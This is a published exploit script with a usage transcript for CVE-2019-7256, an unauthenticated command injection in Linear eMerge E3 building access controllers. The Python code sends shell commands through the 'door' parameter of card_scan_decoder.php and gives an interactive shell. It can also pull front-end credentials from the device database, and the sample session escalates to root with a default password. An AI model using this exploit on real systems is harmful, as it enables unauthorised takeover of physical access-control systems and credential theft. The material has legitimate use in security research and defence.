Linear eMerge E3 1.00-06 - Remote Code Execution

# Title: Linear eMerge E3 1.00-06 - Remote Code Execution
# Author: LiquidWorm
# Date: 2019-11-13
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Affected version: <=2.3.0a
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# CVE: CVE-2019-7256

#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan_decoder.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# By Gjoko 'LiquidWorm' Krstic
#
#########################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot2.py 192.168.1.2
# Do you want me to try and get the web front-end credentials? (y/n) y
# ID='admin',Password='MakeLoveNotWar!'
#
# [email protected]:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# [email protected]:/spider/web/webroot$ cat /etc/version
# Software Version: 1.00.03
# Image: nxgcpub-image
# Built by: jenkins
#
# [email protected]:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# [email protected]:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
#########################################################################

import requests
import time####
import sys#####
import os######
import re######

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
	print '''
                                         .....                              
                                    .e$$$$$$$$$$$$$$e.                      
                                  z$$ ^$$$$$$$$$$$$$$$$$.                   
                                .$$$* J$$$$$$$$$$$$$$$$$$$e                 
                               .$"  .$$$$$$$$$$$$$$$$$$$$$$*-               
                              .$  $$$$$$$$$$$$$$$$***$$  .ee"               
                 z**$$        $$r ^**$$$$$$$$$*" .e$$$$$$*"                 
                " -\e$$      4$$$$.         .ze$$$""""                      
               4 z$$$$$      $$$$$$$$$$$$$$$$$$$$"                          
               $$$$$$$$     .$$$$$$$$$$$**$$$$*"                            
             z$$"    $$     $$$$P*""     J$*$$c                             
            $$"      $$F   .$$$          $$ ^$$                             
           $$        *$$c.z$$$          $$   $$                             
          $P          $$$$$$$          4$F   4$                             
         dP            *$$$"           $$    '$r                            
        .$                            J$"     $"                            
        $                             $P     4$                             
        F                            $$      4$                             
                                    4$%      4$                             
                                    $$       4$                             
                                   d$"       $$                             
                                   $P        $$                             
                                  $$         $$                             
                                 4$%         $$                             
                                 $$          $$                             
                                d$           $$                             
                                $F           "3                             
                         r=4e="  ...  ..rf   .  ""%                         
                        $**$*"^""=..^4*=4=^""  ^"""
  '''
	print '\n\x20\x20[+] Linear eMerge E3 Remote Root Exploit'
	print '\x20\x20[-] by lqwrm (c) 2019'
	print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
	sys.exit()

ipaddr = sys.argv[1]

creds = raw_input('Do you want me to try and get the web front-end credentials? (y/n) ')
if creds.strip() == 'y':
    frontend = '''grep "Controller" /tmp/SpiderDB/Spider.db |cut -f 5,6 -d ',' |grep ID'''
    requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+frontend+' > test.txt%60')
    showme = requests.get('http://'+ipaddr+'/test.txt')
    print showme.text

while True:
	try:
		cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
		execute = requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+cmd+' > test.txt%60')
		#time.sleep(1);
		readreq = requests.get('http://'+ipaddr+'/test.txt')
		print readreq.text
		if cmd.strip() == 'exit':
			print "[+] Erasing read stage file and exiting..."
			requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&ReaderNo=%60rm test.txt%60')
			print "[+] Done. Ba-bye!\n"
			break
		else: continue
	except Exception:
		break

sys.exit()